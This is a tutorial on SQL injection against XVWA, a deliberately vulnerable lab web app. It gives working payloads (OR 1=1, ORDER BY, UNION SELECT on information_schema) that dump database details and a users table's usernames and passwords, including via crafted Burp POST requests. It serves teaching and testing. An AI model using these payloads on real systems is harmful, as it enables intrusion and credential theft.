SQL Injection. A tutorial based on XVWA

Transcription

1 SQL Injection A tutorial based on XVWA

2 Table of Contents I. Preparation... 2 II. What we will do in this tutorial... 2 III. Theory: what is SQL injection... 2 What is an injection attack IV. Error based SQL injection with XVWA... 3 Testing for SQL injection vulnerability First test: DB Dump Identify the number of field returned by the current search Mapping the interface (optional) Obtaining database version and other pieces of information Get current table s name Obtaining usernames and passwords V. Second case: working with a constrained interface Identify the number of field returned by the current search Interface mapping Conclusions

3 Preparation We need to install XVWA in a machine running a web server and an MSQL Instance. Here we do not supply any help on how to build and configure such machine; in the XVWA GIT Page ( there is a good documentation of the steps to take. An alternative solution, which is the one we opted for, is to download the minimal Ubuntu ISO server that runs XVWA; this can be found at the URL In this case you may want to dedicate a virtual machine to your setup. Once again, instructions are out of the scope of the present document. What we will do in this tutorial The objective of this tutorial is not merely giving you some techniques to test. That would be shallow, useless and redundant: the Internet is full of this kind of documents. Here we will: a. Understand how we do SQL injection, so have a strategy b. Understand why the techniques work, both client side and server side. Theory: what is SQL injection According to OWASP: A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. This definition is somehow too naïve to be operative. What is an injection attack Very often, an interface is used to access an engine to supply services. The typical structure of this situation is as follows: Figure 1

4 The user leverages somehow an interface to an engine that supplies services. A typical example is the user that interacts with a database using a web application; another may be the user interacting with a monitoring system (which is very often implemented as a layer interacting with an operating system) with a web application. Quite often, also mobile apps work as interface to other backend servers. Now, the engine component may offer (export) also potentially dangerous functionalities. A web application that does not filter properly its input may allow the user to run directly commands on the backend database, or on the OS that implements the calls for the monitoring system, and so on. Given the current situation, in which web applications have replaced fat applications, this situation is not so uncommon. Furthermore, the injection is not only a technique, but a family of techniques, rooted on the concept of bypassing interface controls and send commands directly to the backend. The author has seen Smart TV interfaces modified by using this technique; furthermore, it is not uncommon to hear about mobile apps that allow direct access to their backend servers. So underestimating the injection family of techniques is a grave mistake. In very simple terms, we have SQL injection whenever the frontend, typically a web application, passes a query that has been injected somehow to the backend database. Figure 2 Error based SQL injection with XVWA In our case, XVWA is installed on a virtual machine. The parameters are: Username Password xvwa toor

5 IP address (in the first part. Note that this may vary in your case) (in the constrained interface part. Also this may vary in your case) For our purposes, it is also good to login on the virtual machine and see how the database is built. As we did not know root password, we needed to use a trick up to the reader finding it J Testing for SQL injection vulnerability First of all, we want to understand if the web application is vulnerable to SQL injection. In order to do so, we try and generate an error. In order to do so, we inject the single quote character, as follows: Figure 3 This is a good signal the application is vulnerable. In fact, when PHP throws the error Fatal error: Call to a member function fetch_assoc() on a non-object in users.php on line at a code level it happens what follows: the parameter we inserted in then inflated in an SQL query let us assume that the code is as follows: SELECT * FROM users WHERE field_name=' + the_parameter_we_inserted + '; thus the query becomes: SELECT * FROM users WHERE field_name=' '; From an SQL perspective, the above statement is a syntax error (unterminated quote sentence). As such, it gives no result, and the PHP fetch_assoc() statement fails, as the result cannot be inserted into an associative array. In the specific case, the query is built as follows: $sql = "SELECT * FROM caffaine WHERE itemname LIKE '%".$search."%' OR itemdesc LIKE '%".$search."%' OR categ LIKE '%".$search."%'";

6 our input is stored in the variable $search, so the query becomes: SELECT * FROM caffaine WHERE itemname LIKE '% %' OR itemdesc LIKE '% %' OR categ LIKE '% %' which is not respecting SQL syntax.

7 First test: DB Dump Given the query above, the idea is quite trivial: obtain a full dump of all the database records. This would be the definitive proof of concept that the website is vulnerable to SQL injection. We need to transform the query: SELECT * FROM caffaine WHERE itemname LIKE '%".$search."%' OR itemdesc LIKE '%".$search."%' OR categ LIKE '%".$search."%' Into something more useful. The first part of the query (in red) cannot be changed, meaning that we cannot inject anything into it: SELECT * FROM caffaine WHERE itemname LIKE '%".$search."%' OR itemdesc LIKE '%".$search."%' OR categ LIKE '%".$search."%' The remaining part can be modified. In detail, we want to inject in the $search parameter something useful. For simplicity, we want to get rid of all the remaining part of the query (in purple, below): SELECT * FROM caffaine WHERE itemname LIKE '%".$search."%' OR itemdesc LIKE '%".$search."%' OR categ LIKE '%".$search."%' This can be achieved by terminating the parameter $search by a comment (#). We won t be writing the remaining part anymore. SELECT * FROM caffaine WHERE itemname LIKE '%".$search Now to have a full dump, we need a condition that is always true after the WHERE clause. This is achieved by terminating the LIKE string with anything (for the sake of simplicity, we ll just terminate it with a single quote; but you can use anything that finishes by single quote, like fred ) and we put it on logical OR with a condition that s always true (1=1, for instance). To recap, if $search = fred OR 1=1 # we obtain SELECT * FROM caffaine WHERE itemname LIKE '%fred OR 1=1 #%' OR itemdesc LIKE '% fred OR 1=1 #%' OR categ LIKE '% fred OR 1=1 #%' The part in grey is interpreted as a comment and does not get executed. This statement retrieves all database s record, obviously. In fact:

8 Figure 4 As a note: the sequence -- is recognized by MySQL as a comment.

9 Identify the number of field returned by the current search This step is very important, because the number of fields is crucial to mount the attack hereby illustrated. In order to do so, we use the SQL 1 clause ORDER BY. In general, the ORDER BY keyword is used to sort the result-set in ascending or descending order. The ORDER BY keyword sorts the records in ascending order by default. To sort the records in descending order, use the DESC keyword. We are not interested on the order, actually we use this clause to count fields of a result set. The clause has the following, generic syntax: SELECT column1, column2,... FROM table_name ORDER BY column1, column2,... ASC DESC; thus the injection is still possible, by letting $search = ORDER BY 1 # we obtain SELECT * FROM caffaine WHERE itemname LIKE ' ORDER BY 1 #%' OR itemdesc LIKE ' ORDER BY 1 #%' OR categ LIKE ' ORDER BY 1 #%' This is still a well-formed SQL statement, thus it works. If the ordinal of field we want to order by is higher than the number of the fields returned in the result set, the database returns an error, as shown in Figure 5: Figure 5 The number of fields can be found by a trial and error loop. It is not so long, anyway, if you use the bisection method, which is properly described in Wikipedia and won t be discussed here. With few trials and errors (8), we determine that there are only 7 fields: Step Min Max Result Error Error Error 1 Unless differently specified, whenever we talk of SQL, we mean the standard SQL language, not its implementation (e.g., Oracle, Microsoft, Postgres, etc )

10 Error OK Error Error OK

11 Mapping the interface (optional) Although not mandatory, this step is very useful, and reading through this chapter is highly suggested. The UNION SQL operator, introduced here, is used thoroughly throughout all the remaining parts of this exercise, so it is important to have a firm grasp on it. Nevertheless, mapping the interface is NOT mandatory to mount an SQL-Injection based attack, it is something we do for the sake of reading. At this stage, we want to know where is displayed each piece of information that is retrieved by the query. We also want to prepare the query in a way that the actual result of the intended SQL statement does not pollute the results we obtain. To do so, we need to have an empty result set from the search, which is achieved by letting $search = AND 0 In fact, this condition always returns a FALSE result, so an empty set. Now we introduce another powerful SQL operator: UNION. The UNION operator is used to combine the result-set of two or more SELECT statements. Each SELECT statement within UNION must have the same number of columns; The columns must also have similar data types; The columns in each SELECT statement must also be in the same order; We want to create the union of an empty set with a well-known one, say, the ordered list 1, 2, 3, 4, 5, 6, 7. It is a wellknown fact that for each set (ordered list) A, the result of the union A = A = A. We have already obtained an empty result set with the above query. Now we make the union with the aforementioned list by letting: $search = AND 0 UNION SELECT 1,2,3,4,5,6,7 # This gives the query SELECT * FROM caffaine WHERE itemname LIKE ' AND 0 UNION SELECT 1,2,3,4,5,6,7 #%' OR itemdesc LIKE ' AND 0 UNION SELECT 1,2,3,4,5,6,7 #%' OR categ LIKE ' AND 0 UNION SELECT 1,2,3,4,5,6,7 #%' which is equivalent to SELECT 1,2,3,4,5,6,7 whose result is predictable. The result of this injection is displayed in Figure 6:

12 Figure 6 now we know where it is convenient to inject the instructions whose results we want to display (typically, fifth position).

13 Obtaining database version and other pieces of information Now we want to determine which database engine we are querying. This is important because, we ll see, there are several version-based caveats that can be applied; but also, more in general, to confirm the results we obtained during the port scanning phase of a penetration test. Both Microsoft SQL Server and MySQL which returns the version of the server. We can now use the same technique shown above to create a payload that extracts the version of the server. We use then $search = AND 0 UNION SELECT 1,2,3,4,@@VERSION,6,7 # and obtain Figure 7

14 Knowing that this is a Linux Machine, we shouldn t be looking for Microsoft Databases here. An Oracle could have been more likely, but this piece of information usually should come from a network scan. With regards to that, we should remember that MySQL has another way to display versions, being the instruction VERSION() 2. The result of the proper query does not change, anyway: Figure 8 Other pieces of information that may be interesting are who is running the database (obtained by using the CURRENT_USER() function) and the database name (obtained by the function DATABASE() or its alias, SCHEMA()). The payloads and their results are displayed below (Figure 9). ' and 0 union select 1,2,3,4,CURRENT_USER(),6,7# gives back an important piece of information: the database is run as root@localhost. 2

15 Figure 9 The database name is obtained with the payload ' and 0 union select 1,2,3,4,DATABASE(),6,7# and returns, unsurprisingly, xvwa:

16 Figure 10 Another interesting piece of information is the directory in which the application is running. This can be obtained with the payload ' and 0 union select 1,2,3,4,@@datadir,6,7#

17 Figure 11

18 Get current table s name Next step is to obtain the name of the current table. This requires a bit of knowledge. To simplify things, first let us see the situation from the server side. If we log in into the MySQL server we can easily see the databases, as shown below. Noticeably, only one database (namely, xvwa) has been added to this application. Figure 12 Now let us take a look at the tables of this database

19 Figure 13 The INFORMATION_SCHEMA database INFORMATION_SCHEMA provides access to database metadata, information about the MySQL server such as the name of a database or table, the data type of a column, or access privileges. INFORMATION_SCHEMA is a database within each MySQL instance, the place that stores information about all the other databases that the MySQL server maintains. The INFORMATION_SCHEMA database contains several read-only tables. Although one can select INFORMATION_SCHEMA as the default database with a USE statement, you can only read the contents of tables, not perform INSERT, UPDATE, or DELETE operations on them. In fact, we can obtain the list of the tables of a MySQL instance as follows:

20 Figure 14 and then, we have:

21 Figure 15 The last three tables, seem to be part of xvwa. In fact:

22 Figure 16 table_schema is a column of the table tables of information_schema. In detail, information_schema.tables structure is as follows:

23 Figure 17 All the fields are documented in the official MySQL documentation, though their names are quite self-explicative. In our case, we will use table_schema, containing the name of the database, and table_name, which obviously contains the names of the tables in use. To put all this together, we introduce an instruction offered by MySQL: GROUP_CONCAT. This instruction returns a string result with the concatenated non-null values from a group. It returns NULL if there are no non-null values. The syntax is as follows: GROUP_CONCAT([DISTINCT] expr [,expr...] [ORDER BY {unsigned_integer col_name expr} [ASC DESC] [,col_name...]] [SEPARATOR str_val]) By using the payload ' and 0 union select 1,2,3,4,group_concat(table_name),6,7 from information_schema.tables where table_schema= xvwa # or, better: ' and 0 union select 1,2,3,4,group_concat(table_name),6,7 from information_schema.tables where table_schema=database()# we obtain the concatenation of all the tables in the current database. The result is shown below.

24 Figure 18

25 Obtaining usernames and passwords A closer look to the database INFORMATION_SCHEMA shows the presence of a table called COLUMNS, this contains the list of all the columns that are present in the current instance of MySQL. Figure 19 The official documentation explains in detail the structure of this table; however, we want to understand quickly how it is structured. The description of this table is quite interesting, as shown below.

26 Figure 20 Now we see something interesting: we have the table users that can be furtherly analysed. To do so, we need to determine its structure and, eventually, to dump its contents. To list its column, the usual query would be: SELECT column_name FROM information_schema.columns where table_name="users"; thus we can craft a payload using the GROUP_CONCAT() as we did before, resulting into: ' and 0 union select 1,2,3,4,group_concat(column_name),6,7 from information_schema.columns where table_name="users"# The result is as expected:

27 Figure 21 hence the columns are uid, username, and password. Now we know how to dump usernames and passwords the payload is quite trivial: ' and 0 union select 1,2,3,4,group_concat(username,":",password,"<BR>"),6,7 from users# produces a list of users and passwords, separed with a column(:), an user per line (we injected the <BR> HTML token). The result is as follows:

28 Figure 22

29 Second case: working with a constrained interface XVWA gives us also the possibility to work with its constrained interface. Taking a look at the web application, it shows a dropdown menu. It may be worthwhile to see if there is some chance do so SQL injection also with it. In order to do so, I will introduce a tool, the BURP suite. If you read this one, chances are you already know it; it can be downloaded from There are two versions, the community and the pro edition. For the sake of this tutorial, the community edition is already sufficient. This document will not be a BURP tutorial, anyway. Figure 23 Figure 23 shows the dropdown menu we want to try and tamper. For starters, we take a look at the underlying HTML.

30 The form is defined as follows: <form method='post' action=''> <div class="form-group"> <label></label> <select class="form-control" name="item"> <option value="">select Item Code</option> <option value="1">1</option> <option value="2">2</option> <option value="3">3</option> <option value="4">4</option> <option value="5">5</option> <option value="6">6</option> <option value="7">7</option> <option value="8">8</option> <option value="9">9</option> <option value="10">10</option> </select> <br> <input class="form-control" placeholder="search" name="search" width="50%"> <br> <div align="right"> <button class="btn btn-default" type="submit">submit</button> </div> </div> </form> We will discuss the form more in detail after we analyse the traffic with BURP, however it is interesting noticing the structure of the dropdown menu items definition: <option value="n">n</option> It may be worth doing some experiments. Assuming no prior knowledge actually we could have tested this before the text input field the idea that somewhere there is a select in which a field of the database is compared with that parameter n is coming out very strong. Let us try and ascertain this. First of all, we try and see what a normal HTTP request here is like. With BURP selected as a proxy, we chose an item from the dropdown menu and issue a query. In the next example, I have chosen 5. Then the HTTP request is as follows: POST /xvwa/vulnerabilities/sqli/ HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko/ Firefox/58.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Referer: Content-Type: application/x-www-form-urlencoded

31 Content-Length: 14 Cookie: PHPSESSID=djib3214u5f6s3uhkqmlbunle2 Connection: close Upgrade-Insecure-Requests: 1 item=5&search= We see what happens if we generate an error, i.e., we give an item number that we know it does not exist. In order to ease these operations, in BURP we send the request to the repeater. First try: we see what happens when we put a nonexistent number as item number. The edited request became: POST /xvwa/vulnerabilities/sqli/ HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko/ Firefox/58.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Referer: Content-Type: application/x-www-form-urlencoded Content-Length: 14 Cookie: PHPSESSID=djib3214u5f6s3uhkqmlbunle2 Connection: close Upgrade-Insecure-Requests: 1 item=9999&search= whose result was the normal page:

32 Figure 24 No hint on what really happened has been produced here. Now let us try and see what happens if we give a letter instead of a number. The modified request is now: POST /xvwa/vulnerabilities/sqli/ HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko/ Firefox/58.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Referer: Content-Type: application/x-www-form-urlencoded Content-Length: 14 Cookie: PHPSESSID=djib3214u5f6s3uhkqmlbunle2 Connection: close Upgrade-Insecure-Requests: 1 item=abcdef&search=

33 The result is interesting, as an error message is shown. Figure 25 In the previous chapter, we have been able to generate the same error with the text field, thus the situation here should be quite similar to the previous one. For starters, we want to understand how the parameter passed by the drop-down menu is treated (i.e. as a pure number, or as a character). We first assume it is a character, thus we can craft an HTTP request such as: POST /xvwa/vulnerabilities/sqli/ HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko/ Firefox/58.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Referer: Content-Type: application/x-www-form-urlencoded Content-Length: 14 Cookie: PHPSESSID=djib3214u5f6s3uhkqmlbunle2 Connection: close Upgrade-Insecure-Requests: 1 item=3' OR 1=1 #&search=

34 This generates an error, as shown in Figure 26. We can infer that the parameter is treated as a pure number, then. Figure 26 Assuming it is a number, the payload is slightly changed. For starters, we want the real query (meaning, the one intended by the developer) to fail. This is quite easy, it suffices to search for a value that is not present in the database, such as 9999, as we previously saw. Then we want to confirm the SQL vulnerability and also this is quite easy, it is the usual OR 1=1 # string. Putting it all together, we have the payload: POST /xvwa/vulnerabilities/sqli/ HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko/ Firefox/58.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Referer: Content-Type: application/x-www-form-urlencoded Content-Length: 14 Cookie: PHPSESSID=djib3214u5f6s3uhkqmlbunle2 Connection: close Upgrade-Insecure-Requests: 1 item=9999 OR 1=1 #&search=

35 which, in fact, gives the intended result (see Figure 27). Figure 27 Now we can proceed as we previously did there is not a huge difference, it is all a matter of adapting the queries to a structure that works with numeric parameter, instead of text. For the sake of readability, only the HTTP requests and the results will be shown.

36 Identify the number of field returned by the current search The process here is quite similar to what we have seen before. In the first example, we obtained the number of fields by letting using the payload $search = ORDER BY 1 # which we obviously must adapt here. We determined there were 7 fields. Let us confirm this. With the payload POST /xvwa/vulnerabilities/sqli/ HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko/ Firefox/58.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Referer: Content-Type: application/x-www-form-urlencoded Content-Length: 14 Cookie: PHPSESSID=djib3214u5f6s3uhkqmlbunle2 Connection: close Upgrade-Insecure-Requests: 1 item=5 ORDER BY 7&search= the Cafè au lait record is shown, as expected. Note that the payload worked also without the comment sign (#) at its end. We can infer that the query ran by this page is something like: SELECT _at_least_7_fields FROM tablename WHERE idfieldname=$item This needs to be confirmed. Now let us try ordering by the 8 th field, to see if for any reason, there is another field here. The payload is trivial, it suffices changing the last line into item=5 ORDER BY 8&search= and we are presented with the same page shown in Figure 26. This confirms the number of fields in the search.

37 Interface mapping Also this step is very similar to the one we did before. Here the empty resultset is achieved by the well known research for the non-existing item 9999, with the UNION SQL operator, and a normal SELECT 1, 2, 3, 4, 5, 6, 7. Putting it all together, we can use this payload: item=9999 UNION SELECT 1, 2, 3, 4, 5, 6, 7&search= which returns the expected result: Figure 28 Conclusions The same attack phases shown in the first chapter can be replicated here with slight changes. There is nothing really different, and the remaining steps are left to the reader as a simple exercise.